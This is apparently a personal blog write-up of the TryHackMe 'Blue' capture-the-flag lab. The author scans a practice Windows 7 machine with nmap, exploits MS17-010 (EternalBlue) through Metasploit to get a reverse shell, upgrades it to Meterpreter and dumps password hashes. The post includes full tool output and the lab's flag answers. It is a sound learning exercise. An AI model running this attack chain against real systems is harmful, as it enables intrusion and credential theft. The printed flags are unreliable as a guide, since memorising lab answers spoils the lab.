Contents

Windows Planning

Alright, I’m ready to move on from linux OS for a little while and take a brief adventure through Windows land. Due to Windows licensing though, it’s a lot more difficult to find challenges to dig in on, so it’s going to take a little experimentation to build an education path I’m happy with… I’d like to have a free ride too of course, but there are some attractive paid alternatives out there I’ll list here regardless.

VM Images

Platforms

Certifications

I decided that I want some more experience with Windows machines before I shell out the change for a cert. It seems like tryhackme is a growing platform, and I went through their intro materials and it was very well implemented!

I’m going to try the fist listed free windows machine here and see how it goes…

Blue

When you load the page, you click a little button to deploy the machine and they provide an in-browser VNC into a little linux box they create for us. You can also connect to a VPN gateway they provide rather than use the in-browser machine. For now, I’ll just use this because it’s quicker to trial things but this box has input lag (unavoidable by them) and it’s just not my machine…!
1

Alright, it has some questions for us:
2

I answer the first two right away after running an nmap, but I’m quite unfamiliar with Windows so it’ll take me a second to figure out what it’s vulnerable to! This has a paired video that you’ve got to pay for that would probably give some more guidance here, but fuck that for now it can’t be that hard!

I notice that:
- rpc is running
- rdp port is open

I decided to search around for more information about nmap to find a script to help me out here where I’m so new to these ports/protocols…

[email protected]:~/Desktop# nmap -n -Pn --script vuln 10.10.131.7

Starting Nmap 7.60 ( https://nmap.org ) at 2021-03-02 21:57 GMT
Nmap scan report for 10.10.131.7
Host is up (0.00042s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_sslv2-drown: 
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49158/tcp open  unknown
49160/tcp open  unknown
MAC Address: 02:AA:2D:2E:FB:C1 (Unknown)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Nmap done: 1 IP address (1 host up) scanned in 105.82 seconds

Ah okay there we go! In the next section, it’s just a wlak through of using a metasploit module someone wrote for this vuln - nothing exciting there I’ll just run it and move on! It actually failed, and honestly the web client is too much of an arrow in the knee for me right now, slow, weird scaling, terrible mouse interaction and no paste buffer throughput.

They’re provided setup instructions for OpenVPN look nice and easy, so I’ll give that a go…

First though, I need to update my box and make sure I don’t have any open ports. I’m hopping onto a public network now and could easily get pwnd by someone else on here. Let’s do some quick hardening…

# Update
apt-get update && apt-get upgrade
# Ensure only root has uid 0
awk -F: '($3=="0"){print}' /etc/passwd
# Check for accounts with empty passwords
cat /etc/shadow | awk -F: '($2==""){print $1}'
# Drop all inbound packets
iptables -P INPUT DROP
# Turned off ssh, edited config to harden incase I accidentally enable it
# Double check for any running services
nmap -p- localhost

Now, I connect to their VPN

$ sudo openvpn ./salmonsec.ovpn
2021-03-02 18:30:11 DEPRECATED OPTION: --cipher set to 'AES-256-CBC' but missing in --data-ciphers (AES-256-GCM:AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-256-CBC' to --data-ciphers or change --cipher 'AES-256-CBC' to --data-ciphers-fallback 'AES-256-CBC' to silence this warning.
2021-03-02 18:30:11 OpenVPN 2.5.0 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Oct 28 2020
2021-03-02 18:30:11 library versions: OpenSSL 1.1.1i  8 Dec 2020, LZO 2.10
2021-03-02 18:30:11 OpenSSL: error:0909006C:PEM routines:get_name:no start line
2021-03-02 18:30:11 OpenSSL: error:140AD009:SSL routines:SSL_CTX_use_certificate_file:PEM lib
2021-03-02 18:30:11 Cannot load inline certificate file
2021-03-02 18:30:11 Exiting due to fatal error

Sigh… Nothing ever works first try. They had great debug steps though, and after switching vpn servers, redownloading the config and trying again, it worked. Getting back to it.

$ ping 10.10.103.43
PING 10.10.103.43 (10.10.103.43) 56(84) bytes of data.
64 bytes from 10.10.103.43: icmp_seq=1 ttl=125 time=89.2 ms

msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.2.23:4444 
[*] 10.10.103.43:445 - Executing automatic check (disable AutoCheck to override)
[*] 10.10.103.43:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.103.43:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.103.43:445      - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.103.43:445 - The target is vulnerable.
[*] 10.10.103.43:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.103.43:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.103.43:445      - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.103.43:445 - Connecting to target for exploitation.
[+] 10.10.103.43:445 - Connection established for exploitation.
[+] 10.10.103.43:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.103.43:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.103.43:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.103.43:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.103.43:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.103.43:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.103.43:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.103.43:445 - Sending all but last fragment of exploit packet
[*] 10.10.103.43:445 - Starting non-paged pool grooming
[+] 10.10.103.43:445 - Sending SMBv2 buffers
[+] 10.10.103.43:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.103.43:445 - Sending final SMBv2 buffers.
[*] 10.10.103.43:445 - Sending last fragment of exploit packet!
[*] 10.10.103.43:445 - Receiving response from exploit packet
[+] 10.10.103.43:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.103.43:445 - Sending egg to corrupted connection.
[*] 10.10.103.43:445 - Triggering free of corrupted buffer.
[-] 10.10.103.43:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.103.43:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.103.43:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.10.103.43:445 - Connecting to target for exploitation.
[+] 10.10.103.43:445 - Connection established for exploitation.
[+] 10.10.103.43:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.103.43:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.103.43:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.103.43:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.103.43:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.103.43:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.103.43:445 - Trying exploit with 17 Groom Allocations.
[*] 10.10.103.43:445 - Sending all but last fragment of exploit packet
[*] 10.10.103.43:445 - Starting non-paged pool grooming
[+] 10.10.103.43:445 - Sending SMBv2 buffers
[+] 10.10.103.43:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.103.43:445 - Sending final SMBv2 buffers.
[*] 10.10.103.43:445 - Sending last fragment of exploit packet!
[*] 10.10.103.43:445 - Receiving response from exploit packet
[+] 10.10.103.43:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.103.43:445 - Sending egg to corrupted connection.
[*] 10.10.103.43:445 - Triggering free of corrupted buffer.
[-] 10.10.103.43:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.103.43:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.103.43:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.10.103.43:445 - Connecting to target for exploitation.
[+] 10.10.103.43:445 - Connection established for exploitation.
[+] 10.10.103.43:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.103.43:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.103.43:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.103.43:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.103.43:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.103.43:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.103.43:445 - Trying exploit with 22 Groom Allocations.
[*] 10.10.103.43:445 - Sending all but last fragment of exploit packet
[*] 10.10.103.43:445 - Starting non-paged pool grooming
[+] 10.10.103.43:445 - Sending SMBv2 buffers
[+] 10.10.103.43:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.103.43:445 - Sending final SMBv2 buffers.
[*] 10.10.103.43:445 - Sending last fragment of exploit packet!
[*] 10.10.103.43:445 - Receiving response from exploit packet
[+] 10.10.103.43:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.103.43:445 - Sending egg to corrupted connection.
[*] 10.10.103.43:445 - Triggering free of corrupted buffer.
[-] 10.10.103.43:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.103.43:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.103.43:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Exploit completed, but no session was created.

No dice… Issue is I need to set LHOST, it’s listening on my local IP not my IP on the VPN:

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.6.62.222:4444 
[*] 10.10.206.102:445 - Executing automatic check (disable AutoCheck to override)
[*] 10.10.206.102:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.206.102:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.206.102:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.206.102:445 - The target is vulnerable.
[*] 10.10.206.102:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.206.102:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.206.102:445     - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.206.102:445 - Connecting to target for exploitation.
[+] 10.10.206.102:445 - Connection established for exploitation.
[+] 10.10.206.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.206.102:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.206.102:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.206.102:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.206.102:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.206.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.206.102:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.206.102:445 - Sending all but last fragment of exploit packet
[*] 10.10.206.102:445 - Starting non-paged pool grooming
[+] 10.10.206.102:445 - Sending SMBv2 buffers
[+] 10.10.206.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.206.102:445 - Sending final SMBv2 buffers.
[*] 10.10.206.102:445 - Sending last fragment of exploit packet!
[*] 10.10.206.102:445 - Receiving response from exploit packet
[+] 10.10.206.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.206.102:445 - Sending egg to corrupted connection.
[*] 10.10.206.102:445 - Triggering free of corrupted buffer.

[-] 10.10.206.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.206.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.206.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.10.206.102:445 - Connecting to target for exploitation.
[+] 10.10.206.102:445 - Connection established for exploitation.
[+] 10.10.206.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.206.102:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.206.102:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.206.102:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.206.102:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.206.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.206.102:445 - Trying exploit with 17 Groom Allocations.
[*] 10.10.206.102:445 - Sending all but last fragment of exploit packet
[*] 10.10.206.102:445 - Starting non-paged pool grooming
[+] 10.10.206.102:445 - Sending SMBv2 buffers
[+] 10.10.206.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.206.102:445 - Sending final SMBv2 buffers.
[*] 10.10.206.102:445 - Sending last fragment of exploit packet!
[*] 10.10.206.102:445 - Receiving response from exploit packet
[+] 10.10.206.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.206.102:445 - Sending egg to corrupted connection.
[*] 10.10.206.102:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.6.62.222:4444 -> 10.10.206.102:49171) at 2021-03-02 20:24:39 -0500
[+] 10.10.206.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.206.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.206.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


C:\Windows\system32>

Woohoo my first ever windows shell!

msf6 post(multi/manage/shell_to_meterpreter) > info

       Name: Shell to Meterpreter Upgrade
     Module: post/multi/manage/shell_to_meterpreter
   Platform: Linux, OSX, Unix, Solaris, BSD, Windows
       Arch: 
       Rank: Normal

Provided by:
  Tom Sellers <[email protected]>

Compatible session types:
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
  LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT    4433             yes       Port for payload to connect to.
  SESSION                   yes       The session to run this module on.

Description:
  This module attempts to upgrade a command shell to meterpreter. The 
  shell platform is automatically detected and the best version of 
  meterpreter for the target is selected. Currently 
  meterpreter/reverse_tcp is used on Windows and Linux, with 
  'python/meterpreter/reverse_tcp' used on all others.

msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.6.62.222:4433 
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > 
[*] Sending stage (175174 bytes) to 10.10.206.102
[*] Meterpreter session 2 opened (10.6.62.222:4433 -> 10.10.206.102:49177) at 2021-03-02 20:27:22 -0500
[*] Stopping exploit/multi/handler

msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                     Information                                                                       Connection
  --  ----  ----                     -----------                                                                       ----------
  1         shell x64/windows        Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...  10.6.62.222:4444 -> 10.10.206.102:49171 (10.10.206.102)
  2         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ JON-PC                                                      10.6.62.222:4433 -> 10.10.206.102:49177 (10.10.206.102)

msf6 post(multi/manage/shell_to_meterpreter) > use 2
[-] Invalid module index: 2
msf6 post(multi/manage/shell_to_meterpreter) > sessions 2
[*] Starting interaction with 2...

meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]                                                   
 4     0     System                x64   0                                      
 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe
 444   704   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 556   548   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 604   548   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe
 616   596   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 656   596   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 704   604   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\services.exe
 712   604   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 720   604   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsm.exe
 772   704   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 828   704   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 896   704   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 944   704   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1012  656   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\LogonUI.exe
 1028  828   WmiPrvSE.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wbem\WmiPrvSE.exe
 1080  704   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1096  772   taskeng.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\taskeng.exe
 1152  704   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1300  704   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1336  704   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1412  1784  powershell.exe        x86   0        NT AUTHORITY\SYSTEM           C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
 1424  704   amazon-ssm-agent.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
 1480  704   LiteAgent.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Xentools\LiteAgent.exe
 1612  704   Ec2Config.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
 1784  1072  powershell.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 1884  2400  mscorsvw.exe          x86   0        NT AUTHORITY\SYSTEM           C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
 1948  704   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1992  556   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\conhost.exe
 2108  828   WmiPrvSE.exe          x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\wbem\WmiPrvSE.exe
 2140  704   TrustedInstaller.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Windows\servicing\TrustedInstaller.exe
 2176  704   taskhost.exe          x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\taskhost.exe
 2400  704   mscorsvw.exe          x86   0        NT AUTHORITY\SYSTEM           C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
 2408  704   mscorsvw.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
 2480  556   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\conhost.exe
 2560  704   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\sppsvc.exe
 2576  1300  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\cmd.exe
 2604  704   vds.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\vds.exe
 2660  704   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 2724  704   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 2820  704   SearchIndexer.exe     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\SearchIndexer.exe

meterpreter > migrate 2724
[*] Migrating from 1412 to 2724...
[*] Migration completed successfully.

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

As always, I use crackstation first, this time it worked:
2

Now, we have to find the flags! It tells us first one is at root:

C:\Windows\system32>cd \
cd \

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is E611-0B66

 Directory of C:\

03/17/2019  01:27 PM                24 flag1.txt
07/13/2009  09:20 PM    <DIR>          PerfLogs
04/12/2011  02:28 AM    <DIR>          Program Files
03/17/2019  04:28 PM    <DIR>          Program Files (x86)
12/12/2018  09:13 PM    <DIR>          Users
03/17/2019  04:36 PM    <DIR>          Windows
               1 File(s)             24 bytes
               5 Dir(s)  20,796,534,784 bytes free

C:\>type flag1.txt
type flag1.txt
flag{access_the_machine}

C:\Users\Jon\Documents>r
dir
 Volume in drive C has no label.
 Volume Serial Number is E611-0B66

 Directory of C:\Users\Jon\Documents

12/12/2018  09:49 PM    <DIR>          .
12/12/2018  09:49 PM    <DIR>          ..
03/17/2019  01:26 PM                37 flag3.txt
               1 File(s)             37 bytes
               2 Dir(s)  20,780,425,216 bytes free

C:\Users\Jon\Documents>type flag3.txt
type flag3.txt
flag{admin_documents_can_be_valuable}

C:\Users\Jon\Documents>dir /s *flag*
...
 Directory of C:\Windows\System32\config

03/17/2019  01:32 PM                34 flag2.txt
               1 File(s)             34 bytes
...
C:\>type Windows\System32\config\flag2.txt
type Windows\System32\config\flag2.txt
flag{sam_database_elevated_access}

Directory
$ cd content && tree